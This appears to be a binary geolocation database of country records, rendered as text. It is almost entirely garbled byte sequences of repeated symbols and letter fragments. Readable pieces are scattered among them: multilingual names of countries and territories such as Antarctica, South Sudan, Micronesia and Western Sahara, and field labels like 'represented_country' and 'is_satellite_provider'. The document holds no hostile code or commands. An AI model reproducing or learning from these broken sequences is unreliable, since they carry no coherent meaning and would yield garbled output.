V z(u (  z( (  z(,G (  z( . ({ (/ z(M ({ # z(Q ({ # z' ({ # z( ({ # z( ({ # z( ' # z( !  BAN _r0 # *IAntarktis 3JAntarctica ;JAntártida @KAntarctique HL南極大陸 UJAntártica aTАнтарктика mI南极洲 z 3ps BBV # *KBouvetinsel 3MBouvet Island ;KIsla Bouvet @KÎle Bouvet HLブーベ島 UKIlha Bouvet aNо-в Буве mI布维岛 ("D (/ z(M ( # z( (  z% ( # z(m " (/ z(Qw " # z( " # z' (? # z(m ( # z(m (m(( # z#j (m  z# (m ( V z(  (m  z( ( # z( ( # z({ ( (_ z(AT (AT (_ z(D (  z" (  z(, ( # z( (  z( . (  z$ (  z"B ( (/ z( ( (_ z(o ( (/ z(E ( # z(S ( !B z(+ ( # z( ( # z( ( # z( ( # z( ( # z(% #j # z( #j(( # z( ( # z( (  z( ( # z( (? # z(? (?((  z(/ (m  z(} ( # z( (  z(/+ ( # z(_C ( (/ z(n ( # z' (V # z( (i # z(m (? (_ z( ( # z(Q ( # z#j (% # z( ( # z(Q ( # z( (?  z%] #j # z(V #j # z( (Q # z({ ({ # z( ({ # z(Q (  z ( # z(V #j (_ z(o #j !B z! #j # z(H #j  z& #j # z( #j # z( ( # z(t (t ( V z(f ( # z(H ('  z( . (' (_ z(& ' # z#j (" # z(? ( . # z(? ( # z(? (H  z( ( (_ z(o (  z%] (  z(,G (,G (_ z(D ' (_ z(Jx ' # z( a (V (_ z(g ( (_ z( ((( # z(? ( # z(Q ($ # z( ( (_ z( (! # z( "  z& (b # z' ( # z(_C (b # z(V (b # z(9 (b  z# (b !B z(+ ' # z(? #  z ("  z(x ( !B z(P ( # z(_C ( ( V z( ( # z(] ( # z(6 ( # z(s ( # z(% (  z(} ( (/ z(P ( # z(r ( ( V z( ( ( V z( (  z# (((  z(x (^  z(`B (`B  z( %  z& % # z' ( (_ z( (  z% (x  z& (x  z%] (x  z# (x  z%] $A  z( . "  z(1o "  z( "  z(! " (_ z( (x # z("D (x  z$A ' # z( ( # z( ( # z(H ( # z(? (V # z( ( # z(Q ( # z( ( # z(S ( # z( ( # z( ( ( V z(o ( # z("D ( ( V z(u ( # z( ( # z(H ( # z( ( # z( ( # z( ( # z( ( # z({ ( # z(V ( # z( ( # z( (  z(! ( (_ z(H] ( (_ z( ( # z( ((( # z({ (V  z$A (  z(! '  z(;E ' (_ z(k (k # z("D ( # z( ( # z' (  z%] ( # z( ( (/ z( ( (/ z(Y ( # z(V ( # z' (  z%] ( # z(Q (  z()) (m (/ z(n ( # z(s (s # z( ( # z( a ( # z( ( # z(# (Q # z(S (b # z(# ' # z(' '  z( ( # z(S (H # z(' ( # z( (  z( . ( # z(2 ( # z#j ( # z("D ( !B z! ( # z' ((( # z(iF (  z" ! (_ z( ()) # z(% (1o  z% ! !B z! (m (/ z(n (m # z(m (% ( V z(s' (s'  z$ (  z(, #j (_ z(& #j (/ z(n (o # z( (o  z" (  z$ ( # z(Q (H # z( (} # z(Q ( # z(Q (/  z ( ( V z(; (  z( ( # z( (% # z( ((( ( V z(  ({ # z( #j # z(Q ( # z(t (2 (_ z( ( # z( ( # z( ((( # z( ( # z(% ' # z( a #j (_ z(@l ' # z( #j  z(" '  z(/ ( # z( ( # z(V ( # z(V ( # z("D ( # z(' ( # z( ( # z( ( # z(? ( !B z! (H # z( (H # z( (H # z( (H # z(? (H(( # z( (H (/ z(n (H # z(V (H # z( ( # z( ( # z( ( . ( V z(u ( # z( ( # z(% (H (_ z(o (H (/ z( (H  z% (H  z$ (H  z( (H # z("D (H # z( (H # z( (H # z#j (H (_ z(? (  z(/ (  z(0 ( ( V z(o ( ( V z x BSS # *ISüdsudan 3KSouth Sudan ;NSudán del Sur @MSoudan du Sud HX南スーダン共和国 U[República do Sudão do Sul aUЮжный Судан mI南苏丹 ( ( V z(b ( !B z(9 ( ( V z(` (  z(w5 (  z(I ( (_ z(S ( (_ z(T ( # z( ( !B z(= ( (/ z(I (  z( ( ( V z(f ( !B z!  z( . (  ( V z( ( ( V z(3 (3 ( V z(n (n ( V z( ( ( V z(x (x ( V z(  ( V z(3 ( V z(b (b ( V z(3 ( ( V z( ( ( V z(f ( ( V z( ( ( V z(f (  ( V z( ( ( V z(x (  ( V z( (  # z( (   z( u (  # z(Q (  (/ z(E (  ( V z(v (v ( V z(p) (p) ( V z(^ (^ ( V z(f (f # z(H (  ( V z( ( ( V z(S (S ( V z(p (p (_ z( (x  z# (x # z' (x ( V z(^ ( V z(^ ( ( V z( (s' ( V z(q (q ( V z( (x ( V z(_ (_ ( V z(` (` ( V z(c ( V z(  (f ( V z(b (b ( V z(z (z ( V z(y (y ( V z(m (m ( V z(u (u ( V z(jY (jY ( V z(n0 (n0 ( V z(n0 (` ( V z( ( ( V z(u (u (_ z(o (u # z(Q ( ( V z( (s' ( V z(lP (lP ( V z(b ( V z( ( V z(f (f ( V z(W (W ( V z(s' ( V z(3 (3 ( V z(~Y (~Y ( V z(} (} ( V z(w (w ( V z(b (b ( V z( ( ( V z(i (i ( V z( ( ( V z( ( ( V z(g\ (g\ ( V z(3 (s' !B z(+ (  ( V z(  (b ( V z(}3 (}3 ( V z(x (s' ( V z(  (` ( V z( ( V z( ( ( V z(ry (ry ( V z(  (s' ( V z(m (s' ( V z(z (s' ( V z(f (s' ( V z(b (s' !B z! (  (_ z(o (  # z( (  (_ z( (  # z( (  (/ z(\ (  ( V z(yW (yW ( V z(_ ( V z(m ( V z(` (f ( V z(` ( ( V z(  ( ( V z( (  ( V z(e} (  ( V z(y (  ( V z( (  ( V z(f ( V z(x ( V z(x (f ( V z(y ( ( V z( ( V z(b ( ( V z( (f # z( (   z(, (  # z' (  # z(? (  ( V z( ( V z( (v ( V z(^ (v ( V z(_ (   z& ( # z( ( ( V z(f ( ( V z(f ( V z( ( ( V z(c (c # z( $ (_ z(o $  %]  z#   z%]  z% # z( %] # z( %] # z(' %] # z(2 %] # z(% %] # z(9 %] # z( %] # z("D %] (_ z(o %] (_ z(  z$ $A  z(m (m  z(~ (~  z(a< (a< # z(Q ! ( V z(  "  z( #  z"B (m ( V z(b  z (x !B z! (x (_ z( (+  z(^ # # z(# # !B z(L^ (L^  z# (+ !B z(H (H !B z!  z$A # !B z! # !B z(V (V  z  z%] ! !B z( (  z(, "  z(^ (  z& $A  z $A !B z(: (H (_ z(o !B z ~ BFM # *KMikronesien 3]Federated States of Micronesia ;JMicronesia @KMicronésie HXミクロネシア連邦 UKMicronésia a]Федеративные Штаты Микронезии mX密克罗尼西亚联邦 (  z  z$  z (+ (/ z(n (+ (/ z(M (+  z$ ! !B z(9 (9  z" (t  z (t !B z(+ !  z% & # z(  z$A ! !B z! "B !B z(X (X (/ z(n (n (_ z(Jx (Jx (/ z(M (/ z(A (A # z(Q (Jx (_ z( (Jx (_ z(F' (F' (_ z(& (& (_ z(* (* (/ z(Qw (Qw (/ z( (Qw (/ z( (Qw (_ z(L (L (/ z(M ( (/ z(P ([- (/ z(\ (\  z( . (V # z(V (V((  z& '  z(, ' (/ z(Qw '  z" ( (_ z(o ( # z( ( (/ z(n ( (/ z( ( # z' (DS # z' (DS(( # z( (DS # z( (DS((  z( ( # z( a ( # z( ( # z#j ( # z(S ( # z( ( # z(# (# # z(' (  z( . ( # z( ( # z(# ( # z( (  z(} (b  z(;E ( !B z([ #j  z(^ #  z(o # # z( a # # z( (Q # z(? ( # z( ( # z(% ( # z("D ( # z( ( # z(' ( # z' ( # z( ( # z( (m # z( ( # z( ((( # z( ( # z( ( # z( #j(( (_ z( ' # z(' (Q !B z! (b !B z(+  z'  z% (_ z(o ( V z(p (  z(q8 ( # z( ( ( V z(S ( ( V z( ( ( V z(} ( ( V z( (o !B z(L^ ( ( V z(ry ( ( V z(g\ (o # z({ ( ( V z(k ( ( V z(y (G ( V z(~Y (T (_ z( (T !B z(X ( # z(# ( # z( ( ( V z(lP ( (_ z( ( (_ z(O (o ( V z( (o ( V z(w (o # z($ (o (_ z( ( (_ z(@l ( (_ z(Bp ( (_ z(DS ( (_ z(@ ( (_ z(H] ( (_ z(K ( (_ z( ( (_ z(T ( (_ z(\ (  z%] (, # z(? (w5 # z(% (w5 # z( (w5 # z( # # z( ( # z(V ( (/ z(\ ( (/ z( # z' #  z(, ( # z(Q # # z(i #  z( ( # z( (V (/ z(W (W (_ z(g (g (_ z t`T BCW # *HCuraçao 3( ;GCurazao @( HOキュラソー U( aNКюрасао mI库拉索 (  z" (o((  z# ( # z(% ( a !B z(+ (i # z(Q (i (_ z(H] ' # z(S # (/ z(E (V  z$ (V # z( (V (_ z( ( # z("D ( (/ z( (o # z( ' # z(H ( # z( ( # z( ( # z( ( # z(' #  z( (V (/ z(n (V # z(5 ( (/ z( # z(Q  z(1o (  z(w5 (  z$A (  z(~ (  z(^ ( ( V z( ( ( V z(c ( ( V z(ry (  z( ( ( V z(}3 ( (/ z(\ ( (_ z(F' ( # z(m ( # z( ((( # z( (  z(" (b  z( . ( # z(H # (/ z( ( (/ z(Qw (H # z(% ' # z( '  z ({ # z(# ( # z( '  z( (# # z(V (# (_ z( (# # z( (#  z%] (b # z( " # z(_C ( # z( "  z(" ( # z( ( # z(H (  z$A (  z& ( (/ z( (  z" ( # z(2 #j  z( ( . !B z! (  z" (V # z( (' # z( ( # z(Q ( # z( ( (_ z(& ( # z(% ( # z' " # z( (b # z(S (  z(" # # z( ( # z' (%  z$ (o  z( ( # z( (  z(! ( # z' (H # z({ (H # z( (  z# #j  z(^ (  z()) ( # z(V ( .  z( (b # z(Q (0 (_ z( (0  z% (0 # z("D ( (/ z( # # z( (r  z" (r # z( a (Q ( V z(u #j  z' #j (_ z(@l (  z(^ ( # z( (((  z( (b # z#j (b((  z(v! '  z(5I (v!  z%] "B (_ z(o "  z" # !B z! (,  z (,  z(^ & !B z(H (: # z( # z(% # z('  z%] %]((  z$ (b  z& #  z( ! # z( ! ( V z(  !  z( . % # z( "  z# ! # z( "B  z$A " !B z(+ # (_ z( (^ # z( # # z(% ( # z(t ( # z(S " (/ z( " # z({ (# # z({ (#(( # z( (# # z(% (m # z( ' # z' ((( # z(? (#  z(} #j  z% #j !B z(H ( # z(m (# ( V z( (b  z' (b (_ z(O (0  z( #j # z(2 ( # z( ( ( V z( '  z(, ( # z({ (b # z(% # (_ z( ( u (/ z( " # z(? (% # z(V (  z%] ( # z(Q ( # z(_C ' # z( (  z(5I (  z% ( (/ z( (  z(, (  z% ( # z(% ( # z( ( # z( ( (_ z(& (Q ( V z( #j ( V z(b #j  z(`B ( (/ z(A (  z(a< (  z(5I ( # z( (b  z( ( (( # z' ( ((  z ' # z(Q (# # z( a (#  z" (g # z( a ( # z(V ( # z( ( # z' (^  z ( # z(] (  z( (  z(1o (  z(x ( !B z(9 (Q !B z  BPW # *EPalau 3( ;FPalaos @( HIパラオ U( aJПалау mF帕劳 (Q (_ z t_ BSX # *LSint Maarten 3(V ;SIsla de San Martín @( H[シント・マールテン U( aUСинт-Мартен mL圣马丁岛 (Q !B z(: (Q !B z  BMH # *NMarshallinseln 3PMarshall Islands ;NIslas Marshall @NÎles Marshall HUマーシャル諸島 UNIlhas Marshall a]Маршалловы Острова mO马绍尔群岛 (Q # z( (Q ( V z(b (Q (_ z(o (Q !B z( (Q # z(7 (Q # z(? '(( # z(H (b # z( ((( # z(H ({ # z( ( # z(5 (  z(! (b # z( ( # z( '  z(/ (  z(w5 " (_ z(R '  z$ (Q # z(H ( ( V z(b (H  z ( # z( # z' (0 # z( (0  z( (b # z( (  z( . ( !B z(+ (  z( # # z' (g (/ z( ( # z( (  z( u '  z# (  z(1o (  z( ( (/ z( (b  z" (%  z( ! # z( ! # z( (" # z(Q (' ( V z(  (Q  z# (V (_ z(o ( (/ z(A #  z" ( (/ z(\ '  z%] (%  z(N (% # z( (% (_ z(o (  z(, (  z" (   z()) ( # z(% ( # z( ( ( V z( ( # z(t (  z$ ( # z( "  z% (  z(! ( # z( # # z( (H # z(5 (H # z( (H ( V z(b # # z( ( # z' ({((  z( . (  z& " # z( ( # z( ( . # z( " # z(5 (%  z()) # (_ z(& (b # z(S ( (/ z(\ (  z ( # z(Q ( # z( ( (_ z( (& (/ z(Qw (n (_ z( ( (_ z( (Qw (/ z(E (Qw (_ z(O (Qw (/ z(M (Qw (/ z(Y (Y (_ z( ( # z(Q ( # z(V ( (_ z(Jx ( (/ z(E ( (/ z(M ( (/ z(n ( (/ z(n (M (/ z( (& (_ z(I4 (P (/ z( (M (/ z(P (M # z( (n # z( (n (_ z(o (E (_ z(X (X (_ z(I4 (F' (_ z(& ( (_ z(I4 (* (/ z( (M (_ z( (\  z" (s' (_ z( (s'  z(, (s' # z' (s' # z(V (s' # z(? (s' # z#j (s' # z( (s' # z( (s' # z( (s' # z( (s' # z( (s' # z(' (s' # z(2 (s'  z& (s'  z%] (s'  z(/ (s'  z$A (s' (/ z(n (s'  z% (s' (_ z(D (s' (/ z(Qw (s'  z$ (s' # z( (s' !B z! (s'  z( (s' (_ z(& (s' (/ z(\ (s' # z(Q (s' (_ z(* (s' # z( (s'  z(5I (s'  z# (s'  z( . (s'  z (s'  z(v! (s' (/ z(E (s' (_ z(F' (s'  z"B (s'  z' (s' (_ z(I4 (s'  z( (s' ( V z( (s' (/ z( (s'  z(m (s'  z()) (s'  z(,G (s' # z( (s'  z(w5 (s' # z(% (s' ( V z(u (s' ( V z( (s' ( V z( (s'  z(~ (s' (/ z(A (s' # z(m (s' # z({ (s' # z( a (s' # z(H (s'  z(^ (s'  z(x (s' !B z(P (s'  z# ( ( V z(  (b ( V z(x (b (/ z(Qw ( (/ z( (A (/ z( ( (_ z(O ( # z' (O (/ z([- ([- (/ z([- (M (/ z(M (P (_ z( (n (_ z(o (n (_ z(& (n (/ z(M (n (/ z( (n  z(^ %]  z%] (^ !B z( ( !B z(+ "  z(! #j  z"B #j  z$A #j # z( #j # z( (  z (  z%] (  z$ (  z (  z% (  z"B (o (_ z( ( # z(V ({ # z#j (? # z( (  z%] (  z" ( # z(% (S # z( (S # z( (S # z( ( # z#j ( # z(9 (1o # z(m (1o  z(" (V  z# ({ # z( ("D (/ z(\ (V (_ z(Jx (V # z( (V # (V # z(9 ( (/ z(A ( (/ z(W ( !B z(CD ( !B z(N ( ( z  BTF # *] Französische Süd- und Antarktisgebiete 3[French Southern Territories ;]Territorios Australes Franceses @\Terres australes françaises HR仏領極南諸島 U]Territórios Franceses do Sul a]Французские Южные территории mR法属南部领地 ( # z(# ( (_ z(& ( (_ z( ( ( V z( ( !B z(M: ( !B z(NY ( ( V z(^ ( ( V z(jY ( ( V z(` (  z(;E ( ( V z(p) ( ( V z(u (  z(w5 ( # z(m (  z(a< (  z( (  z(" ( !B z(Q ( # z({ ( # z( ( # z(28 ( # z(iF ( # z( (  z(d ( !B z(L^ ( ( z 5 BGS # *]Südgeorgien und die Südlichen Sandwichinseln 3]South Georgia and the South Sandwich Islands ;] Islas Georgia del Sur y Sandwich del Sur @]Géorgie du Sud-et-les îles Sandwich du Sud H]"サウスジョージア・サウスサンドウィッチ諸島 U] Ilhas Geórgia do Sul e Sandwich do Sul a]'Южная Георгия и Южные Сандвичевы о-ва m]南乔治亚岛和南桑德韦奇岛 ( !B z(Z ( # z( ( (_ z(& ( # z(_C (  z$A ( (/ z(A (  z# ( (_ z(E (  z(x ( (/ z(\ ( ( V z(k (  z( ( ( V z(c ( ( V z(f ( ( V z(yW ( ( V z(b ( (_ z( ( (_ z(T ( (_ z(\ ( (_ z(G ( (_ z(DS ( ( V z(e} ( ( V z(b ( ( V z(|# ( (/ z(F ( ( V z(m ( !B z(: ( !B z( ( !B z( ( ( V z(S ( (_ z t`\ BBQ # *VKaribische Niederlande 3]Bonaire, Sint Eustatius, and Saba ;GBonaire @SPays-Bas caribéens H]%ボネール、シント・ユースタティウスおよびサバ U( a]Бонайре, Синт-Эстатиус и Саба m] 博奈尔岛、圣尤斯达蒂斯和萨巴 ( (_ z( (  z( (? # z(2 (i # z( (g  z"B ( # z(m (' # z( (' # z(? (m # z(V ( ( V z(s' (% # z(2 (% # z(9 (% # z(] (] # z(m (o # z#j (!  z# ( # z#j (_C # z( (H  z(/+ (H # z(' (H # z(% (g # z(% (g(( (/ z(Y ( ( V z( ( # z( ( (_ z(G ( !B z(M: (  z(, (m # z( (m # z( (m  z( ( # z( ( # z( ( # z( ((( # z(iF (iF !B z! ( # z( ((( ( V z( ( ( V z(u ( ( V z(}3 ( (_ z( (H] (_ z(@ ' # z(s ' (_ z(@ '  z(I ' ( V z % BEH # *JWestsahara 3NWestern Sahara ;RSáhara Occidental @QSahara Occidental HL西サハラ UOSaara Ocidental a]Западная Сахара mL西撒哈拉 '  z(,G ' !B z(Z ' ( z(7 ' # z({ #j # z(i ' # z(r '  z' ' # z( (? # z(? ( # z( (  z" (((  z%] ((( (_ z(R $ (_ z(o # z( ((  z" % !B z(N (N !B z(+ (N (_ z( $ # z(? ((( # z( (o  z( (  z% ( !B z(+ (  z% (Q # z( ((( # z(Q ((( (_ z(o (o(( !B z! (o  z$A (Q # ( # z(? ( # ( # z' ( # z({ ( # z(V ( !B z! ( !B z(M: ( !B z(G ( !B z([ ( !B z(X ( !B z(V ( !B z(Z ( !B z(P ( !B z(Vb ( !B z( ( !B z( ( !B z( ( !B z(L^ ( !B z(Ke (  z& (  z' (  z(v! (  z(^ (  z(5I (  z(m (  z(~ (  z(q8 (  z$A (  z"B (  z(a< (  z(w5 (  z(`B (  z(t (  z(N ( (_ z(I4 ( (_ z(Jx ( (_ z(L ( (_ z(O ( (_ z(F' ( (_ z(* ( (_ z(g ( (_ z(D ( (_ z(J ( (_ z(X ( (_ z(@ ( (_ z(R ( (_ z(@l ( (_ z(S ( (_ z(C ( (_ z(J ( (_ z(? ( (_ z(DS ( (_ z(T ( (_ z(T ( (_ z(@ ( (_ z(G ( (/ z(n ( (/ z( ( (/ z(Qw ( (/ z(E ( (/ z(P ( (/ z([- ( (/ z(\ ( (/ z(A ( (/ z(W ( (/ z(I ( (/ z(Y ( (/ z(Y ( (/ z(W ( (_ z(g ( # z( ( # z( ( # z(6 ( # z(] ( # z({ ( # z(s ( # z( ( # z( ( ( V z(  ( ( V z(u ( ( V z( ( ( V z( ( ( V z(f ( ( V z(y ( ( V z(^ ( ( V z( ( ( V z(b ( ( V z(c ( ( V z(g\ ( ( V z(i ( ( V z(_ ( ( V z(|# ( ( V z(u ( ( V z(n0 ( ( V z(` ( ( V z(W ( ( V z(3 ( ( V z(p ( ( V z(v ( ( V z(3 ( ( V z(s' ( ( V z(p) ( ( V z(b ( ( V z(e} ( ( V z( ( ( V z(b ( ( V z(m ( ( V z(h ( ( V z(h0 ( ( V z(yW ( ( V z( ( ( V z(z ( ( V z(x ( ( V z( ( ( V z(}3 ( ( V z( ( ( V z( ( ( V z(w ( ( V z(q ( ( V z(n ( ( V z(} ( ( V z(lP ( ( V z(k ( ( V z(jY ( ( V z(b ( ( V z(ry ( ( V z( (  z( (  z( (  z(0 (  z( (  z(,G (  z(m (  z( u (  z(^ (  z()) ( ( V z(s' ( ( V z(u ( ( V z(v ( ( V z(w ( ( V z(|# ( ( V z(b ( ( V z(3 ( # z#j ( # z( ( # z( ( # z( ( # z(# ( # z( ( # z(% ( # z(_C ( # z(m ( # z(i ( # z( ( # z(9 ( # z(t ( # z( ( # z(% ( # z( ( # z(S ( # z(' ( # z(5 (  z(x (  z(" (  z(! (  z( (  z(1o (  z( (  z(} (  z(;E (  z( ( # z( ( # z("D ( # z(2 (  z( . ( (_ z(@ (  z (  z( ({  z(0 ({  z( ({ # z( ({ # z( ({ # z( ({ # z( ({ ( V z( ({  z()) ({ # z#j ({ (_ z(o ({ (/ z( ({  z" ({  z%] ({ !B z! ({ # ({  z$  z(v! "  z"B "  z' "  "  z" (^  z(m "  z(^ "  z%] # z(H  z$A  z& # z( !  z !  z$A  z(v!  z% (, (/ z(  z(N !B z! $  z $  z%] $  z" $  z(, $ !B z(+ $  z(, (b  z( . ( # z(S ({  z& ({ # z(2 ( # z(9 ( # z(iF ( a # z( ( # z(V (Q (_ z( (Srepresented_country ( BUS #(DtypeHmilitary ( V z(m ( ( V z( ( # z( ( # z#j (  z (  z ( (( # z(% ( # z(H ( # z( (; ( V z( (; # z(V ( . # z(s (b # ( (_ z(o ( (_ z( (  z" ( # z( ( # z( ( (_ z(& (  z( . ( # z( ( # z( ( (_ z(O ( ( # z(S (S)a)u # z(# ( # z(% (  z( #j # z(H (  z%] ( (_ z(O (V # z( ( # z#j ( ( # z({ ( (_ z(& (  z( . ( ((Uis_satellite_provider  z( (  z(" ( # (Q '() # z(m ("D  z(m (m)a)u # z({ (V # z(% (  z(5I ' # z(] '  z(^ '  z(o '  z(t '  z(~ '  z(`B '  z(a< ' # z(t '  z$A (b # z(m ($ (_ z(AT ( # z( # ( z f0 BAQ # *( 3( ;( @( HF南極 U( aTАнтарктида m(V ( (_ z(@ (J (_ z( (J (_ z( ( # z(5 ( (_ z( (R # z( (R (_ z( (t (_ z( (9 ( V z(u (b # z( (b (_ z(G (@ (_ z(T (@ (_ z(S (@ (_ z(T (@ (_ z( (@ (_ z(o (@ !B z( ( (_ z(E ( (_ z(Y (Y ( V z(jY ( (_ z(J ( ( V z(y ( (_ z(Bp (J # z(r ( # z(V (  z( ( ( V z(_ ( ( V z(z ( ( V z(~Y ( ( V z(n ( ( V z(m ( ( V z(p) ( ( V z( ( ( V z(i ( ( V z(3 ( ( V z( ( # z(V (+ # z' (+ (_ z(T (J  z  BIO # *] Britisches Territorium im Indischen Ozean 3]British Indian Ocean Territory ;] Territorio Británico del Océano Índico @] Territoire britannique de l'océan Indien HX英領インド洋地域 U] Território Britânico do Oceano Índico a]/Британская территория в Индийском океане mU英属印度洋领地 ( !B z! ((( # ' # z({ ( !B z! (  z( (o (o # z( (+ ( z(b ( (_ z(> (? (_ z(T (? (_ z(DS (? (_ z(S (? (_ z(DS (@ (_ z(\ (\ (_ z(T (T  z( ( ( V z(h (  z(, $A (_ z(@l (@ # z( ( (_ z( (Bp  z( ( # z(i ( ( V z(^ ( # z( (  z(,G ( ( V z(` ( ( V z(f ( ( V z(f ( ( V z( ( # z( ( ( V z(yW ( ( V z( ( # z(# ( ( V z( ( ( V z(h0 ( ( V z(h ( ( V z(i ( ( V z( ( ( V z(jY ( ( V z(lP ( # z(S (  z( (  z(/ ( # z( (  z( ( ( V z( ( ( V z(e} (  z(m (  z(0 ( # z( ( # z(% ( ( V z(o ( ( V z(u ( ( V z(p) ( ( V z(ry ( # z(r ( ( V z(s' ( ( V z(u ( ( V z(v ( ( V z(x (  z( u (  z(^ (  z()) ( ( V z(S ( # z( ( ( V z(} ( ( V z(}3 ( ( V z(~Y ( ( V z( (  z(/+ ( ( V z(c ( ( V z( ( ( V z( ( ( V z(b ( # z(m ( ( V z(m (  z(I ( ( V z(  ( ( V z( ( ( V z(3 ( # z( (  z (  z%] % (_ z( (? # z( (((  z (m # z( ( # z( ( # z#j (% # z(? (" # z(H (" # z( ( # z( (9 # z(V (9  z# (9 # z( (  z( . ()) # z( (V # z( (V !B z(+ (V (_ z(* (V (_ z(D (V # z(S (V (/ z(A (V  z%] (V # z(H (V # z(r (V # z( (V ( V z(  (V # z( #j # z(# "  z( ( # z(? ( # z(# ( # z( (!  z( (!  z( (! # z( (! # z(' (!  z(" (! # z#j (t # z( (t # z( (t((  z( (t ( V z(o (t  z' (t (_ z(& (t  z(~ (t # z(V (t (/ z([- (t # z( (t # z(Q (t # z(? (t # z( (t  z( (t  z(w5 (t (_ z(C (t # z( (t ( V z(  (t # z' (t # z( (t  z()) (,G ( V z(b #j (_ z( (2 # z( #j((  z()) (0  z%] (  z( ( # z(# ( # z(% ( ( V z(v ( # z(H ()) # z#j (;E # z( %](( # z( %] # z( %](( # z( %](( # z( %](( # z( (  z( ( # z(S (  z(m ( # z( (V # ( # z(5 (  z( ( # z#j (# (?() # z( (o  z()) (V # z( #j !B z(+ #j ( V z( #j (_ z(o (  z( ( # z( ( # z(S ( .  z()) (  z(^ (  z( u ( # z(_C (m # z( (m # z( (m  z$ (  z( ( ( z) ( # z(V ((( # z(28 (  z( . (  z(1o (  z(" ( # z(t ( ( V z(z (  z( (  z(} ( # z(? (  (Q  z" ( # z(H (9 # z(V (? # z( (2 # z( (  z( ( ( V z(f ( (_ z(g ' # z( ( # z' ((( # z#j ( (/ z(F (F # z(Q (F # z(H (6 # z(Q (Q)a)u ( V z(b '  z(0 (x # z( (b  z"B (b !B z(G ( # z' ($ # z(S (V (/ z( (V # z(S ( # z( a ( a(( (o() # z(S (o # z({ (o # z(? (o # z( (o ( V z(y (o # z#j (o ( V z(} (o # z(2 (o # z( (o # z( %] ( V z(x %] (/ z( %] # z( ( # z(2 (  z( ( # z(m ( # z(9 ( # z( ( # z( ( ( V z(  ( # z(S ( # z( ( !B z! ( # z( a (  z$A (% (/ z( (%  z' (% ( V z(x (V ( V z( (V ( V z(b (V  z$A (  z()) (I # z(2 (b # (V # z(V (% # z#j ( # z( # z( (? # z(H (H(( # z( (O(( # z(t (% # (  z# ( # z(m ( # z( ( # z#j (? !B z( (  z"B ( ( V z( ( ( V z(  ( (_ z(* ( (/ z(A (  z(} (" # z( ( # z( (% ( V z(i ( ( V z(f (  z(, (  z(v! ( (/ z( ( ( V z( (  z( . ( .)a)u # z(Q (Q(( (/ z(M (V # z#j ! # z' ! (_ z(o ! # z(% #  z()) (# (/ z( #j  z(, ( # z(r ( (/ z( (  z(/ ( # ( # z(H (  z (? (_ z(R (  z(~ ( (_ z(X ( (/ z([- ( # z(r ( # z(s (  z(t ( (_ z( (Q # z( (Q(( # z( ( # z( ( (_ z(o ( # z({ ( # z(H ( # z( ( # z( ( # z#j (  z" ( # z(m (  z( . (  z( u (  z(v! (  z(w5 ( ( V z(x ( ( V z(; (  z(0 #j  z( (/  z( ( )a)u # (  z ( (Q() # z(? (%  z()) (  z(} (  z(} ( # z( ((( # z(Q ( # z' ( # z( ( # z(Q (? # z(V #j((  z' ( # z(i ( ( V z( %] # z(i ( # z( ('  z ('  z" ('  z% (V  z(, (V  z(" (  z# (  z (  z%] ( (_ z(I4 ( (_ z(F' ( (_ z(Jx ( (/ z( ( (_ z(O (  z( . #j(( # z( ( (_ z(J ( (_ z(C (  z(0 ( # z(m # z( (H # z( (' (/ z(n ( (() # z( ( # z(# ( !B z! ( # z(H ( # z( (% # z(V ( # z($ (V # z( (((  z(,G ()) # z( ( # z({ ( # z(H ( # z#j ( # z( a (  z& ( # z( ( (/ z(A ( (/ z(E ( (_ z(I4 (  z(w5 ( (/ z(Qw ( (/ z([- ( # z(? "  z(o (  z(^ ( # z(r ( (_ z(& ( (/ z(M ( ( V z(^ ( # z({ ( (_ z(o ( ( V z(3 ( ( V z(_ ( ( V z(` ( ( V z( ( ( V z(b ( ( V z(y ( ( V z(h0 ( ( V z(3 ( ( V z(h ( ( V z(i ( ( V z(jY ( ( V z(lP ( ( V z(g\ ( ( V z(k ( ( V z(f ( ( V z(n ( ( V z(n0 ( # z(V ( ( V z(p) ( ( V z(p ( ( V z(u ( ( V z(v ( ( V z(x ( ( V z(z ( ( V z(~Y ( # z( ()a)u # z(V ({ # ( a  z(0 ( # z(V (V((  z(! ( . # ( # z' (9 # z( (1o # z#j ( # z( (r # z({ (r # z(Q (r # z( (r (_ z( (r  z ( # z( ( # z(H #j(( # z( (g  z%] (H  z$ (m  z# ( # z( ( (( ( z) ( # z( ( (_ z(g ( # z( (#  z% (?  z( (?  z$A (?  ( # z( #j(( (_ z( (% # z( (% (_ z(o (% # z(Q (% # z(H (% # z(# (% ( V z( ( ( V z( ( ( V z(o ( ( V z( ( ( V z(ry ( ( V z(w ( ( V z(c ( ( V z(q ( ( V z(u ( ( V z(x ( ( V z(S ( ( V z( ( ( V z(f ( ( V z(_ ( ( V z(3 ( ( V z(}3 ( # z( ( # z( ( ( V z(  (  z(/ ( a # z( (g  z(" ( # z( (g # z( (g # z#j (g  z& ( # (  z"B ( # z(Q (#  z( (  z( . %]  z(x %]  z( ( # z( ( # z( (i # z( ( (/ z(Qw (V  z(" (H  z%] (  z( ( (_ z( (  z# ( # z(m ( # z( ()a)u  z(, ( !B z(+ ( # z(2 ( # z( ( # z( (1o ( V z( ( ( V z( ( ( V z(m ( ( V z(  ( # z( ( # z( ( ( V z( ( # z(9 #j (_ z( ('(( # z({ (' !B z! ('  z(5I ('  z$ ('  z# (' (/ z( (' # z(V (' # z(? (  z(! ( ( V z(  ( # z(V (! # z( " # z( " # z#j ( . # z( a (m # z(Q ( # z(H (2  z# (2 # z' (2 # z(V ( !B z! (  z ( # z(2 (H # z( (H # z( ( # z(V (" # z( ( # z( ( # z( (H # z(V ( # z(V #(( (/ z(M # # z(V (1o  z(x ( # z(2 ( # z(? ( # z(% (H  z( (H # z( ( # z(H ((( # z( ( # z(V ( # z(% ( (/ z(M ( # z(i ( # z(6 (H # z( (? # z( ( . # z(Q ( # z( (  z( ( (/ z(M #j  z$ #j  z" (m # z(5 #j  z% (m  z$A (m # z( ( # z(H (  z$ ( (/ z(M (  z(^ (^)a)u  z(1o ' ( V z( #j # z( ( (_ z(& (V  z( (V # z( ( (( # z( (  z ( !B z! (  z( . ! # z(' ('(( (_ z(k ( # z(6 ( # z( ( (_ z(O ( # z( ((( # z(m ( # z(H (? # z({ (? # z(V (?  z ( .  z" ( . ( V z( (  z# ( # z( (b((  z( #j # z' (? # z(% (m # z(2 (m # z( (m # z( a (H # z#j ( # z(5 ( # z(% ( # z(S ( # z( (  z" (  z%] (? (/ z( ( # z( ( # z("D ' # z( (? # z( (?  z" (?  z$ (  z" ( # z(V " # z( (' # z( (' # z( a (' # z(] ( # z(? ((( # z(# (2 # z( (# # z( (#  